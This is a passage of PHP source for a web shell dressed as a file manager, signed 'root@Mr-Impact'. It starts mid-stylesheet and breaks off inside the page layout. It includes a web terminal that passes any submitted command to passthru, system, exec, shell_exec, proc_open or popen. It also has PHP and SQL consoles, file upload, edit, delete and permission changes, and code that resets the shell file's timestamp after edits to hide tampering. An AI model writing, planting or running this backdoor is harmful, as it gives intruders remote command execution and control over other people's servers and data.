3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Mr-Impact:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

